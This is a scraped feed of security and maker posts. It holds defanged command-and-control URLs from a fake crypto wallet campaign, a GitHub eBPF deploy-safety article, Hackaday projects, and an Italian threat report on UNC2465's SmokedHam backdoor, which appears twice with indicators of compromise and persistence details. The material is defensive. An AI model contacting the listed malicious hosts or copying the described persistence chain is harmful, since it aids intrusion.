hxxps://ngy2yjq0otlj.ahroar[.]com/EpCXMKDMx1roYGJ
hxxps://ngy2yjq0otlj.ahroar[.]com/17pIWJfr9DBiXYrSb

C2 addresses
hxxps://kkkhhhnnn[.]com/api/open/postByTokenpocket
hxxps://helllo2025[.]com/api/open/postByTokenpocket
hxxps://sxsfcc[.]com/api/open/postByTokenpocket
hxxps://iosfc[.]com/ledger/ios/Rsakeycatch.php
hxxps://nmu8n[.]com/tpocket/ios/Rsakeyword.php
hxxps://zmx6f[.]com/btp/ios/receiRsakeyword.php
hxxps://api.dc1637[.]xyz


securelist.com/fakewallet-cryp…

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-Data breach at Vercel
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Podcast: risky.biz/RBNEWS553/
Newsletter: news.risky.biz/tries-to-sabota…

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-Sandboxed GPU process coming to Firefox
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-North Korea is recruiting foreigners for its remote IT worker schemes
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-Malware reports on Nexcorium IoT botnet, Black Shrantac and BravoX ransomware, BORZ C2, FaceFish rootkit, SHub Stealer
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Questa voce è stata modificata (2 ore fa)
Cybersecurity & cyberwarfare ha ricondiviso questo.

Nel 2024 #Microsoft e Digital Europe (gruppo di interesse che raggruppa le #bigtech) hanno ottenuto un emendamento delle leggi europee

Così ora non sono pubbliche le informazioni sul consumo di elettricità e acqua dei data center

Perché? Perché sono "informazioni commercialmente sensibili"

Ma solitamente le informazioni riservate riguardano la sicurezza degli Stati, non l'interesse privato

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E se la guerra che stai seguendo su X tra Iran e Stati Uniti fosse falsa?

📌 Link all'articolo : redhotcyber.com/post/e-se-la-g…

A cura di Chiara Nardini

#redhotcyber #news #disinformazione #fakenews #cybersecurity #hacking #malware #botnetwork

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Come GitHub usa eBPF per rendere i deploy sicuri: architettura e implementazione
#tech
spcnet.it/come-github-usa-ebpf…
@informatica


Come GitHub usa eBPF per rendere i deploy sicuri: architettura e implementazione


Quando si parla di deployment safety, pochi casi studio sono più istruttivi di quello di GitHub: un’azienda che ospita il proprio codice sorgente sulla piattaforma che sta cercando di aggiornare. Questo crea una dipendenza circolare potenzialmente devastante — durante un’interruzione del servizio, il deploy che dovrebbe ripristinarlo potrebbe fallire proprio perché si appoggia alla piattaforma non disponibile.

Un recente articolo del blog di ingegneria di GitHub descrive come il team abbia risolto questo problema usando eBPF (extended Berkeley Packet Filter), una tecnologia kernel Linux che permette di eseguire codice sandboxed direttamente nel kernel senza modificarlo.

Il problema delle dipendenze nei deploy


GitHub ha identificato tre categorie di dipendenze problematiche nei propri script di deploy:

  • Dipendenze dirette: script che scaricano binari da github.com durante il deploy
  • Dipendenze nascoste: tool che controllano aggiornamenti su GitHub senza una richiesta esplicita
  • Dipendenze transitive: servizi interni che chiamano dipendenze esterne in modo indiretto

Il rischio è evidente: se github.com non è disponibile e il deploy ne dipende, si entra in un loop da cui è difficile uscire. Serviva un meccanismo per rilevare — e bloccare — queste dipendenze prima che causassero problemi in produzione.

eBPF: filtraggio kernel-level senza modificare il kernel


eBPF è un framework che consente di iniettare programmi nel kernel Linux in modo sicuro e verificato. Originariamente nato per il filtraggio dei pacchetti di rete (da cui il nome “Berkeley Packet Filter”), si è evoluto in una piattaforma generale per osservabilità, sicurezza e networking a bassa latenza.

GitHub ha sfruttato due tipi specifici di programmi eBPF:

  • BPF_PROG_TYPE_CGROUP_SKB: monitora il traffico in uscita (egress) e applica regole di blocco IP basate sui risultati della risoluzione DNS
  • BPF_PROG_TYPE_CGROUP_SOCK_ADDR: intercetta le query DNS e le reindirizza a un proxy userspace che valuta le richieste rispetto a una lista di domini bloccati

I cgroup Linux vengono usati per isolare i processi di deploy. A questi cgroup vengono poi agganciate (attached) le mappe e i programmi eBPF, che possono così osservare e controllare il traffico di rete generato da quei processi specifici.

L’architettura del sistema


Il flusso di funzionamento è il seguente:

  1. Un processo di deploy tenta di risolvere un nome di dominio (es. github.com)
  2. Il programma eBPF intercetta la query DNS tramite BPF_PROG_TYPE_CGROUP_SOCK_ADDR
  3. La query viene reindirizzata a un proxy userspace
  4. Il proxy verifica il dominio rispetto alla policy attiva
  5. Se il dominio è nella lista bloccata, la risposta viene falsificata (restituendo un IP non raggiungibile)
  6. Il programma BPF_PROG_TYPE_CGROUP_SKB monitora il traffico IP per rafforzare il blocco
  7. Tutte le violazioni vengono loggate con PID, nome del processo, comando e transaction ID DNS

Particolarmente elegante è l’uso di mappe eBPF (BPF maps) per condividere stato tra i programmi kernel e il proxy userspace, consentendo aggiornamenti dinamici alla policy senza dover ricaricare i programmi.

Implementazione con cilium/ebpf e Go


Per semplificare lo sviluppo, il team ha usato la libreria Go cilium/ebpf, uno dei wrapper eBPF più maturi disponibili oggi. I programmi eBPF sono scritti in C e compilati con bpf2go, uno strumento che genera automaticamente le struct Go corrispondenti per interagire con le mappe e i programmi nel kernel.

Un esempio semplificato di come si carica e aggancia un programma eBPF con cilium/ebpf:

// Carica i programmi eBPF compilati
objs := bpfObjects{}
if err := loadBpfObjects(&objs, nil); err != nil {
    log.Fatalf("loading objects: %v", err)
}
defer objs.Close()

// Aggancia il programma al cgroup del processo di deploy
l, err := link.AttachCgroup(link.CgroupOptions{
    Path:    "/sys/fs/cgroup/deploy",
    Attach:  ebpf.AttachCGroupInetEgress,
    Program: objs.FilterEgress,
})
if err != nil {
    log.Fatalf("attaching cgroup: %v", err)
}
defer l.Close()

log.Println("eBPF program attached, monitoring egress traffic...")

La policy viene aggiornata dinamicamente scrivendo nelle mappe eBPF, senza necessità di riavviare nulla:
// Blocca un dominio aggiungendolo alla mappa eBPF
key := []byte("github.com")
value := uint32(1) // 1 = blocked
if err := objs.BlockedDomains.Put(key, value); err != nil {
    log.Fatalf("updating map: %v", err)
}

Questo approccio consente di modificare le policy a runtime, ad esempio durante un incidente, aggiungendo o rimuovendo domini dalla blocklist senza interrompere i processi in esecuzione.

Correlazione PID e DNS transaction ID


Uno degli aspetti più sofisticati dell’implementazione è la capacità di correlare le query DNS bloccate al processo specifico che le ha generate. Il sistema usa una mappa eBPF per tenere traccia della coppia (PID, DNS transaction ID): quando il proxy userspace vede una query, può risalire al processo che l’ha originata e loggare il percorso completo dell’esecuzione, incluso il comando invocato.

Questo livello di visibilità è fondamentale per il debugging: anziché sapere solo che “qualcosa ha chiamato github.com”, gli ingegneri possono vedere esattamente quale script, a quale riga, stava tentando di accedere alla risorsa bloccata.

Risultati dopo sei mesi di rollout


Dopo sei mesi di utilizzo in produzione, il sistema ha permesso a GitHub di:

  • Rilevare dipendenze problematiche prima che causino guasti durante i deploy
  • Identificare tool e script che accedevano silenziosamente a github.com durante le operazioni di deploy
  • Migliorare la velocità di recovery dagli incidenti, eliminando la circolarità delle dipendenze
  • Costruire un inventario delle dipendenze esterne degli script di deploy, utile per la pianificazione della resilienza


Perché eBPF è la scelta giusta per questo caso d’uso


Soluzioni alternative avrebbero avuto limitazioni significative: un firewall a livello di rete avrebbe bloccato il traffico in modo troppo grossolano, impedendo anche il normale funzionamento dei servizi. Proxy applicativi avrebbero richiesto modifiche agli script di deploy. eBPF consente invece di applicare policy granulari, per-processo e dinamiche, senza modificare gli script esistenti né aggiungere overhead significativo alle operazioni normali.

Il fatto che sia una tecnologia kernel-level la rende anche difficile da aggirare accidentalmente: non è sufficiente usare una libreria di networking alternativa o bypassare il resolver DNS del sistema per evadere i controlli.

Conclusioni


L’approccio di GitHub dimostra come eBPF stia trasformando la sicurezza e l’osservabilità delle infrastrutture moderne. Non più solo strumento per profiling di rete, eBPF diventa un componente architetturale per l’enforcement di policy a runtime, invisibile alle applicazioni e aggiornabile senza downtime.

Per chi gestisce infrastrutture critiche o pipeline CI/CD complesse, questo caso studio offre un modello replicabile: usare eBPF per imporre vincoli ai processi di deploy e garantire che il sistema possa sempre ripristinarsi indipendentemente dallo stato dei servizi che ospita.

Fonte: How GitHub uses eBPF to improve deployment safety — GitHub Engineering Blog


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AI #Model #Claude #Opus turns bugs into exploits for just $2,283
securityaffairs.com/191018/ai/…
#securityaffairs #hacking

DIY Nuclear Battery with PV Cells and Tritium


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Nuclear batteries are pretty simple devices that are conceptually rather similar to photovoltaic (PV) solar, just using the radiation from a radioisotope rather than solar radiation. It’s also possible to make your own nuclear battery, with [Double M Innovations] putting together a version that uses standard PV cells combined with small tritium vials as radiation source.

The PV cells are the amorphous type, rated for 2.4 V, which means that they’re not too fussy about the exact wavelength at the cost of some general efficiency. You generally find these on solar-powered calculators for this reason. Meanwhile the tritium vials have an inner coating of phosphor so they glow. With a couple of these vials sandwiched in between two amorphous cells you thus have technically something that you could call a ‘nuclear battery’.

With an approximately 12 year half-life, tritium isn’t amazingly radioactive and thus the glow from the phosphor is also not really visible in daylight. With this DIY battery wrapped up in aluminium foil to cover it up fully, it does appear to generate some current in the nanoamp range, with a single-cell and series voltage of about 0.5 V.

A 170 VAC-rated capacitor is connected to collect some current over time, with just under 3 V measured after a night of charging. In how far the power comes from the phosphor and how much from sources like thermal radiation is hard to say in this setup. However, if you can match up the PV cell’s bandgap a bit more with the radiation source, you should be able to pull at least a few mW from a DIY nuclear battery, as seen with commercial examples.

This isn’t the first time we’ve seen this particular trick. A few years ago, a similar setup was used to power a handheld game, as long as you don’t mind waiting a few months for it to charge.

youtube.com/embed/MxPEDF7BRCo?…


hackaday.com/2026/04/20/diy-nu…

Il modello dell’EDPB sulla DPIA: pro o contro accountability?


@Informatica (Italy e non Italy)
Il modello DPIA dell’EDPB, in consultazione pubblica, riapre il dibattito sull’equilibrio tra accountability e standardizzazione nel GDPR. Sarà uno strumento operativo o un nuovo benchmark implicito? Analisi di impatti, criticità e possibili evoluzioni per le organizzazioni
L'articolo Il

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Una scuola italiana finisce nel Dark Web! Leak da 1.9GB di dati sensibili online

📌 Link all'articolo : redhotcyber.com/post/una-scuol…

A cura di Carolina Vivianti

#redhotcyber #news #cybersecurity #hacking #malware #leak #dataviolazione #scuolaitaliana

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288 – La nuova follia del tokenmaxxing camisanicalzolari.it/288-la-nu…
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Mi sembra che in USA siano messi male anche nel sistema della giustizia: robertreich.substack.com/p/the…
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🚀 Gli speaker della RHC Conference 2026

📍𝗤𝘂𝗮𝗻𝗱𝗼: Martedì 19 Maggio con ingresso dalle ore 8:45
📍𝗗𝗼𝘃𝗲: Teatro Italia, Via Bari 18, Roma (Metro Piazza Bologna)
📍𝗣𝗿𝗼𝗴𝗿𝗮𝗺𝗺𝗮: redhotcyber.com/linksSk2L/prog…
📍𝗜𝘀𝗰𝗿𝗶𝘇𝗶𝗼𝗻𝗲 conferenza di Martedì 19 Maggio: rhc-conference-2026.eventbrite…

#redhotcyber #rhcconference #conferenza #informationsecurity #ethicalhacking #dataprotection #hacking #cybersecurity #cybercrime #cybersecurityawareness #cybersecuritytraining #cybersecuritynews #privacy #infosecurity

Quirky Electric Car Rides the Rails


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We wouldn’t be surprised if you’d never seen the Spira before. The lightweight three-wheel vehicle is closer to a go-kart than a traditional car, and that’s before you even get to the foam body panels. But even the most niche of products enjoys a certain fandom, and [Matt Spears] certainly seems to love working on his Spira. His latest video documents the new modifications he’s made to the car in an effort to ride it on abandoned railroad tracks in the western United States.

His first attempt at riding the rails worked pretty well but he hit an obstruction at high speed which destroyed his front axle and damaged a few other parts on the vehicle, which gave him a perfect excuse to make some upgrades. He swapped the old rear axle out with one from a go-kart, complete with custom wheels and a new braking system. The drivetrain received an upgrade with a 5 kW electric motor, and although [Matt] planned on casting new wheels for the higher speeds, the chemicals he needed didn’t arrive in time. So, to test the new vehicle he repurposed some old wheels just to get the Spria back out on the tracks.

The test run went so well that [Matt] ended up pushing the vehicle farther than he had ever been on this abandoned rail, including over a questionable trestle and far out into the wilderness. Hopefully we’ll see more videos of [Matt] taking this car to explore even more remote places. In the meantime, take a look at some simpler, non-electric vehicles that are often used to explore abandoned rail lines in California.

youtube.com/embed/lOci1JYbPkM?…


hackaday.com/2026/04/19/quirky…

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18 anni di reclusione per i complici degli hacker nordoreani infiltrati in 10 aziende USA

📌 Link all'articolo : redhotcyber.com/post/18-anni-d…

A cura di Bajram Zeqiri

#redhotcyber #news #cybersecurity #hacking #malware #ransomware #sicurezzainformatica #hacker

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Campagna di Phishing a tema MyKey di Intesa Sanpaolo: facciamo Attenzione

📌 Link all'articolo : redhotcyber.com/post/finto-myk…

A cura di Carolina Vivianti

#redhotcyber #news #phishing #intesasampaolo #sicurezzainformatica #mykey #truffeinternet

Modded Server PSU Provides Plenty of Current


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Most makers find themselves in need of a benchtop power supply at some point or another. Basic models can be had relatively cheaply, but as your current demands go higher, so does the price. [Danilo Larizza] has figured out an alternative solution—repurposing old server hardware to do the job instead.

The build is based around an HP Common Slot (CS) server power supply. They can be readily had for well under $50 if you know where to look. Even better, they can deliver over 50 amps at 12 volts, which happens to be a very useful voltage indeed. All you need to do is some minor mods.

A jumper on a couple of pins will get the power supply running, and with the addition of some terminals for your hook-up leads, you’re ready to go. As a hot-swappable single unit, the power supply is already outfitted with a ventilation fan to keep everything cool. If so desired, you can even make some further mods to bump output voltage a little ways past 13 or 14 volts if you’d like to use them for certain battery charging tasks.

Sure, you’re not getting a variable power supply, but if you need 12 volts and lots of it, this is a great way to go. We’ve featured similar builds before, too, turning ATX PC power supplies into useful benchtop tools.

youtube.com/embed/T1XU-ubUxTI?…


hackaday.com/2026/04/19/modded…

Hackaday Links: April 19, 2026


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We’ll start things off this week with a story that’s developing more than 25 billion kilometers from Earth — on Friday, NASA announced that the command had been sent to shut down Voyager 1’s Low-energy Charged Particles (LECP) instrument. As the power produced by the spacecraft’s aging radioisotope thermoelectric generator (RTG) continues to dwindle, engineers at the Jet Propulsion Laboratory have been systematically turning off various systems to extend the mission for as long as possible. It’s believed that deactivating LECP should buy them another year, during which engineers hope to implement a more ambitious power-saving routine. If this sounds a bit familiar, you’re probably thinking of Voyager 2. The plug was pulled on its LECP instrument back in March of 2025.

The JPL engineers hope that their new plan may allow them to reactivate previously disabled systems on the twin space probes, but even if everything goes according to plan, there’s no fighting the inevitable. At some point, there simply won’t be enough juice in the RTGs to keep the lights on. Although it’s going to be a sad day when we have to bring you that news, surviving a half-century in space is one hell of a run.

Speaking of ending a run, just a week after Amazon announced that pre-2012 Kindles would no longer be supported, the company is letting users know that the Kindle software for PCs will be discontinued in June. In its current form, at least. As Good e-Reader reports, Amazon is developing a new client for users who want to access the Kindle ecosystem from their computers, but it will only run on Windows 11. Since older software could be used to strip DRM from purchased ebooks, it seems likely this is another attempt to lock the platform down.

Because, of course, people post car crashes on Facebook.
We’re not fans of arbitrary limits being placed on ebooks and the devices that read them, but on the other hand, there are definitely systems out there that could stand to be tightened up a bit. For example, research out of Quarkslab has shown that the electronic control unit (ECU) from a wrecked vehicle can reveal a surprising amount of information.

After picking up a used ECU, they were able to dump its NAND flash chip and decode the log files it contained. It turns out the car had GPS logs going back to the day it rolled off the assembly line, and the researchers were able to reconstruct every trip it ever made.

By cross-referencing the last recorded coordinates with social media posts, they were even able to find pictures of the crash that took the vehicle out of commission. It’s bad enough that personal information can be scraped off of secondhand hard drives; now we’ve got to worry about what happens to our cars after they get hauled off to the junkyard.

If these are the sort of stories that keep you on two wheels rather than four, you may be interested in the latest innovation from Škoda Auto. In an effort to reduce collisions with pedestrians, they’ve developed a bike bell that penetrates active noise cancellation (ANC) systems. The logic goes like this: if someone is walking around with headphones that feature ANC, they might not hear the bell of an approaching bike. So they teamed up with researchers from the University of Salford to essentially find the weaknesses in existing ANC systems.

As you might have guessed, irregular noises are harder to block out than constant tones. Researchers uncovered a gap between 750 and 780 Hz where sounds could sneak through. The mechanical bell uses both principles to defeat ANC, and in testing, it was shown to provide headphone-wearing pedestrians more time to react to an approaching bicycle.

Finally, we’ll bring this week’s post full circle by starting and ending on a space story: earlier this week, PBS released the hour-long documentary Artemis II: Return to the Moon on YouTube. Watching PBS programming on YouTube might seem a bit odd, but that’s the world we live in these days. At any rate, the video is a fascinating look into what went into the recently concluded Moon mission and has us even more excited for Artemis III and beyond.

youtube.com/embed/t8uucg1ajcU?…


See something interesting that you think would be a good fit for our weekly Links column? Drop us a line, we’d love to hear about it.


hackaday.com/2026/04/19/hackad…

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Sovranità digitale europea: due passi in avanti e uno indietro.
La Commissione europea ha annunciato i quattro vincitori di una gara per il cloud sovrano europeo facendo una graduatoria in base a criteri misurabili. Tutto molto bello peccato che uno dei quattro consorzi vincitori del bando si basi su Google Cloud soggetto quindi al Cloud Act con il quale il governo degli Stati Uniti può accedere a server localizzati fuori dagli USA.
ec.europa.eu/commission/pressc…
#sovranitadigitale #cloudsovrano
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in reply to Software libero Liguria

quindi non ci sta da meravigliarsi di nulla, purtroppo. Tutte le società che offrono Cloud in Europa usano Azure, Google Cloude Platform e AWS anche quando propongono soluzioni loro. Sono dei middleware verso queste ultime. Che poi tra un middlware e l'originale io preferirei sempre l'originale, che tra l'altro pagherei anche di meno, venendo meno la catena di servizio: A compra da B, B compra da C e rivende ad A a prezzo maggiorato.

2026 Green Powered Challenge: The Eternal Headphones


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Noise cancelling headphones are a great way to insulate yourself from the bustle of the city, but due to their power requirements, continuous use means frequent recharging. [Alessandro Sgarzi] has an elegant and unique solution — powering the noise cancelling electronics by harvesting energy from the ambient noise of the city via a sheet of piezoelectric film.

This impressive feat is achieved using a LTC3588-1 power harvesting IC and a pair of supercapacitors, while an STM32L011K4T6 microcontroller processes the input from a MEMS microphone and feeds a low-power class D amplifier. This circuit consumes an astounding 1.7 nW, a power that a noisy city is amply able to supply. Audio meanwhile comes via a traditional 3.5 mm connector, which we are told is the cool kids’ choice nowadays anyway.

We like this project, and since it’s part of our 2026 Green Powered Challenge, it’s very much in the spirit of the thing. You’ve just got time to get your own entry in, so get a move on!

2026 Hackaday Greep Powered Challenge


hackaday.com/2026/04/19/2026-g…

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The TeamPCP hacking group is feeding credentials stolen in the Trivy and Checkmarx KICS supply chain attacks to the Vect ransomware group, per a new report: dataminr.com/resources/intel-b…

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A Iranian hacktivist group named Harakat Ashab al-Yamin al-Islamia was allegedly the one behind the cyberattack on LA Metro last month

darkowl.com/blog-content/harak…

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TL;DR: Use our software if you wanna turn your democracy into a dictatorship! We have a FAQ page!


Palantir posts a 22-point summary of Alex Karp's book, advocating for hard power, AI weapons and deterrence, and denouncing pluralism, and "regressive" cultures (Anthony Ha/TechCrunch)

techcrunch.com/2026/04/19/pala…
techmeme.com/260419/p11#a26041…


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SmokedHam e UNC2465: il backdoor dei ransomware operator che si nasconde nei tool IT più usati dagli amministratori
#CyberSecurity
insicurezzadigitale.com/smoked…


SmokedHam e UNC2465: il backdoor dei ransomware operator che si nasconde nei tool IT più usati dagli amministratori


Se siete amministratori di sistema e avete cercato su Google uno strumento come PuTTY, RVTools o Remote Desktop Manager nelle ultime settimane, potreste aver incontrato un annuncio pubblicitario che conduceva a una versione modificata del software, contenente un backdoor. È la tecnica di malvertising che il gruppo criminale UNC2465 ha affinato nel tempo, e che Orange Cyberdefense ha documentato in una nuova serie di attacchi condotti nel 2026 contro organizzazioni europee.

Chi è UNC2465: dai ex affiliati DarkSide agli operator Qilin


UNC2465 è un cluster di attività tracciato da Mandiant fin dal 2019. Il gruppo ha guadagnato notorietà come affiliato del ransomware DarkSide — lo stesso che colpì Colonial Pipeline nel 2021 causando una crisi energetica negli Stati Uniti. Dopo lo scioglimento di DarkSide, UNC2465 ha mantenuto la propria operatività affiliandosi con LockBit e, più recentemente, con Qilin (noto anche come Agenda ransomware), uno dei gruppi ransomware in più rapida crescita nel panorama della cybercriminalità organizzata.

Ciò che distingue UNC2465 da molti altri attori del crimine informatico è la sofisticazione operativa: il gruppo non si affida a exploit zero-day, ma a una combinazione di malvertising, trojanizzazione di software legittimo e tecniche di blending con attività normali — incluso l’uso di bossware commerciale legale per mascherare le proprie azioni malevole.

Il vettore: annunci di ricerca malevoli per tool IT


La campagna documentata da Orange Cyberdefense nel febbraio-aprile 2026 si basa su un meccanismo collaudato: acquistare spazi pubblicitari su motori di ricerca come Google e Bing per intercettare le ricerche di strumenti IT ampiamente utilizzati da system administrator e IT manager. I tool impersonati includono:

  • PuTTY e KiTTY — client SSH tra i più usati al mondo
  • RVTools — tool di inventario VMware indispensabile in ambienti virtualizzati
  • Remote Desktop Manager — gestore di sessioni RDP diffusissimo
  • Zoho Assist — software di supporto remoto
  • Total Commander — file manager Windows
  • Advanced IP Scanner — scanner di rete molto popolare

Il meccanismo è infido perché gli amministratori di sistema sono abituati a scaricare questi tool di frequente, spesso su nuove macchine, e la fiducia nel brand del software abbassa la guardia. Un click sull’annuncio — che compare sopra i risultati organici — porta a un dominio malevolo con un installer visivamente identico all’originale.

Anatomia di SmokedHam: il backdoor che evolve continuamente


Il payload distribuito tramite gli installer trojanizzati è SmokedHam (tracciato da ConnectWise anche come Parcel RAT), un backdoor basato su PowerShell e C# attivo dalla fine del 2019. Nelle versioni più recenti, SmokedHam è stato snellito rispetto alle prime varianti: la funzionalità di screen capture è stata rimossa e il keylogger è presente ma disattivato. L’obiettivo primario del backdoor, nella fase attuale, è quello di stabilire un canale C2 persistente e ricevere comandi PowerShell da eseguire.

Questa semplicità apparente è in realtà una scelta strategica: un backdoor minimale è più difficile da rilevare. La complessità dell’attacco viene delegata agli strumenti post-exploitation che vengono scaricati successivamente.

Il flusso di attacco dettagliato


L’installer NSIS (Nullsoft Scriptable Install System) scaricato dalla vittima esegue simultaneamente due operazioni: installa il software legittimo (per non insospettire l’utente) e avvia silenziosamente la catena di compromissione.

  • I file vengono estratti in C:\ProgramData\LogConverter\
  • La persistenza viene stabilita tramite una chiave di registro Run che punta a Microsoft.NodejsTools.PressAnyKey.lnk — un abuso di un binario legittimo di Visual Studio (LOLBin)
  • PowerShell esegue comandi offuscati per caricare SmokedHam direttamente in memoria (fileless)
  • Il backdoor contatta i propri server C2 nascosti dietro Cloudflare Workers e endpoint AWS, rendendo il traffico indistinguibile da comunicazioni legittime verso cloud provider


Il bossware come copertura: la tecnica più insidiosa


Una delle caratteristiche più originali di UNC2465, segnalata dal CERT di Orange Cyberdefense, è l’uso di software di monitoraggio dei dipendenti — il cosiddetto bossware — per mimetizzare le proprie attività malevole. Tool come ControlioNet e Teramind, normalmente impiegati dai datori di lavoro per monitorare la produttività, vengono installati dagli attaccanti sui sistemi compromessi. Poiché questi software sono commerciali, firmati e spesso già presenti nelle whitelist aziendali, le loro comunicazioni di rete e le loro funzioni (screenshot, keylogging, accesso remoto) non vengono flaggate come anomale.

In questa maniera, UNC2465 può condurre ricognizione prolungata, esfiltrare credenziali e preparare il terreno per il ransomware finale rimanendo sotto il radar per settimane o mesi.

Indicatori di compromissione (IoC)

# Domini C2 SmokedHam/Parcel RAT (Cloudflare Workers)
cloud-9cd9.wtf-system.workers[.]dev
cdn-adv.systems-scanner.workers[.]dev
cdn-cloude.extended-system.workers[.]dev
# Pattern comune: cdn-*.workers[.]dev con nomi che imitano CDN legittimi

# Directory di installazione sospetta
C:\ProgramData\LogConverter\

# Persistenza via registro
HKCU\Software\Microsoft\Windows\CurrentVersion\Run
  → Microsoft.NodejsTools.PressAnyKey.lnk

# LOLBin abusato
Microsoft.NodejsTools.PressAnyKey.exe (legittimo ma usato come launcher)

# Installer firmato sospetto
Firma: LLC DIAPROM (distribuito su domini che imitano siti ufficiali)

# Bossware da monitorare se non autorizzato
ControlioNet, Teramind

Raccomandazioni per i difensori


La campagna UNC2465 pone sfide particolari perché prende di mira esattamente le persone che si occupano di sicurezza e amministrazione dei sistemi. Ecco le contromisure più efficaci:

  • Download dai soli siti ufficiali: abituare tutti gli amministratori a scaricare tool esclusivamente dai siti ufficiali o tramite package manager interni verificati. Mai dal primo risultato di un motore di ricerca
  • Blocco degli annunci nei browser aziendali: implementare un ad-blocker a livello di DNS (Pi-hole, NextDNS, filtering proxy) per eliminare il vettore primario di questa campagna
  • Application allowlisting: garantire che solo software approvato possa essere eseguito, prevenendo l’installazione di bossware non autorizzato
  • Monitoraggio Cloudflare Workers: alert su connessioni verso domini *.workers.dev non presenti nelle baseline del traffico aziendale
  • Verifica degli hash prima dell’esecuzione: confrontare gli hash SHA-256 degli installer con quelli pubblicati dai vendor prima dell’installazione
  • EDR con analisi comportamentale: rilevare l’abuso di LOLBin come Microsoft.NodejsTools.PressAnyKey.exe e l’esecuzione di PowerShell offuscato

UNC2465 rappresenta un caso di studio esemplare su come i gruppi criminali di alto livello combinino tecniche di accesso iniziale mutuate dal cybercrime di massa (malvertising) con operazioni post-compromise da APT. L’obiettivo finale — il ransomware — arriva solo dopo un lungo periodo di radicamento silenzioso nella rete bersaglio. La prevenzione deve quindi concentrarsi sul vettore iniziale: un download sbagliato può compromettere un’intera infrastruttura.


Rack Cage Generator Gets Your Gear Mounted


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Sometimes, as hackers and makers, we can end up with messy lashed-together gear that is neither reliable nor tidy. Rackmounting your stuff can be a great way to improve the robustness and liveability of your setup. If you find this appealing, you might like CageMaker by [WebMaka].

This parametric OpenSCAD script can generate mounts for all kinds of stuff. Maybe you have a little network switch that’s just a tangle of wires on your desk, or a few pieces of audio gear that are loosely stacked on top of each other and looking rather unkempt. It would be trivial with this tool to create some 3D printed adapters to get all that stuff laced up nice and neat in a rack instead.

If you’re eager to get tinkering, you can try out the browser-based version quite easily. We’ve featured similar work before, too—many a maker has trod the path of rackmounting, as it turns out.


hackaday.com/2026/04/19/rack-c…

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I know everyone's hungering for more cyber reads on Friday afternoon, so we've published a long read on Handala and related MOIS personas, expanding greatly on the shorter post from April 6.

We were originally going to keep this one closely held, but the number of questions we're fielding about IR threat actors, and some trends in current whispernets, convinced us to publish it instead.

#threatintel #cybersecurity #infosec

dti.domaintools.com/research/m…

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SmokedHam e UNC2465: il backdoor dei ransomware operator che si nasconde nei tool IT più usati dagli amministratori


@Informatica (Italy e non Italy)
Orange Cyberdefense ha documentato una campagna di malvertising attiva nel 2026 in cui UNC2465, gruppo affiliato a DarkSide, LockBit e Qilin, distribuisce il backdoor SmokedHam tramite


SmokedHam e UNC2465: il backdoor dei ransomware operator che si nasconde nei tool IT più usati dagli amministratori


Se siete amministratori di sistema e avete cercato su Google uno strumento come PuTTY, RVTools o Remote Desktop Manager nelle ultime settimane, potreste aver incontrato un annuncio pubblicitario che conduceva a una versione modificata del software, contenente un backdoor. È la tecnica di malvertising che il gruppo criminale UNC2465 ha affinato nel tempo, e che Orange Cyberdefense ha documentato in una nuova serie di attacchi condotti nel 2026 contro organizzazioni europee.

Chi è UNC2465: dai ex affiliati DarkSide agli operator Qilin


UNC2465 è un cluster di attività tracciato da Mandiant fin dal 2019. Il gruppo ha guadagnato notorietà come affiliato del ransomware DarkSide — lo stesso che colpì Colonial Pipeline nel 2021 causando una crisi energetica negli Stati Uniti. Dopo lo scioglimento di DarkSide, UNC2465 ha mantenuto la propria operatività affiliandosi con LockBit e, più recentemente, con Qilin (noto anche come Agenda ransomware), uno dei gruppi ransomware in più rapida crescita nel panorama della cybercriminalità organizzata.

Ciò che distingue UNC2465 da molti altri attori del crimine informatico è la sofisticazione operativa: il gruppo non si affida a exploit zero-day, ma a una combinazione di malvertising, trojanizzazione di software legittimo e tecniche di blending con attività normali — incluso l’uso di bossware commerciale legale per mascherare le proprie azioni malevole.

Il vettore: annunci di ricerca malevoli per tool IT


La campagna documentata da Orange Cyberdefense nel febbraio-aprile 2026 si basa su un meccanismo collaudato: acquistare spazi pubblicitari su motori di ricerca come Google e Bing per intercettare le ricerche di strumenti IT ampiamente utilizzati da system administrator e IT manager. I tool impersonati includono:

  • PuTTY e KiTTY — client SSH tra i più usati al mondo
  • RVTools — tool di inventario VMware indispensabile in ambienti virtualizzati
  • Remote Desktop Manager — gestore di sessioni RDP diffusissimo
  • Zoho Assist — software di supporto remoto
  • Total Commander — file manager Windows
  • Advanced IP Scanner — scanner di rete molto popolare

Il meccanismo è infido perché gli amministratori di sistema sono abituati a scaricare questi tool di frequente, spesso su nuove macchine, e la fiducia nel brand del software abbassa la guardia. Un click sull’annuncio — che compare sopra i risultati organici — porta a un dominio malevolo con un installer visivamente identico all’originale.

Anatomia di SmokedHam: il backdoor che evolve continuamente


Il payload distribuito tramite gli installer trojanizzati è SmokedHam (tracciato da ConnectWise anche come Parcel RAT), un backdoor basato su PowerShell e C# attivo dalla fine del 2019. Nelle versioni più recenti, SmokedHam è stato snellito rispetto alle prime varianti: la funzionalità di screen capture è stata rimossa e il keylogger è presente ma disattivato. L’obiettivo primario del backdoor, nella fase attuale, è quello di stabilire un canale C2 persistente e ricevere comandi PowerShell da eseguire.

Questa semplicità apparente è in realtà una scelta strategica: un backdoor minimale è più difficile da rilevare. La complessità dell’attacco viene delegata agli strumenti post-exploitation che vengono scaricati successivamente.

Il flusso di attacco dettagliato


L’installer NSIS (Nullsoft Scriptable Install System) scaricato dalla vittima esegue simultaneamente due operazioni: installa il software legittimo (per non insospettire l’utente) e avvia silenziosamente la catena di compromissione.

  • I file vengono estratti in C:\ProgramData\LogConverter\
  • La persistenza viene stabilita tramite una chiave di registro Run che punta a Microsoft.NodejsTools.PressAnyKey.lnk — un abuso di un binario legittimo di Visual Studio (LOLBin)
  • PowerShell esegue comandi offuscati per caricare SmokedHam direttamente in memoria (fileless)
  • Il backdoor contatta i propri server C2 nascosti dietro Cloudflare Workers e endpoint AWS, rendendo il traffico indistinguibile da comunicazioni legittime verso cloud provider


Il bossware come copertura: la tecnica più insidiosa


Una delle caratteristiche più originali di UNC2465, segnalata dal CERT di Orange Cyberdefense, è l’uso di software di monitoraggio dei dipendenti — il cosiddetto bossware — per mimetizzare le proprie attività malevole. Tool come ControlioNet e Teramind, normalmente impiegati dai datori di lavoro per monitorare la produttività, vengono installati dagli attaccanti sui sistemi compromessi. Poiché questi software sono commerciali, firmati e spesso già presenti nelle whitelist aziendali, le loro comunicazioni di rete e le loro funzioni (screenshot, keylogging, accesso remoto) non vengono flaggate come anomale.

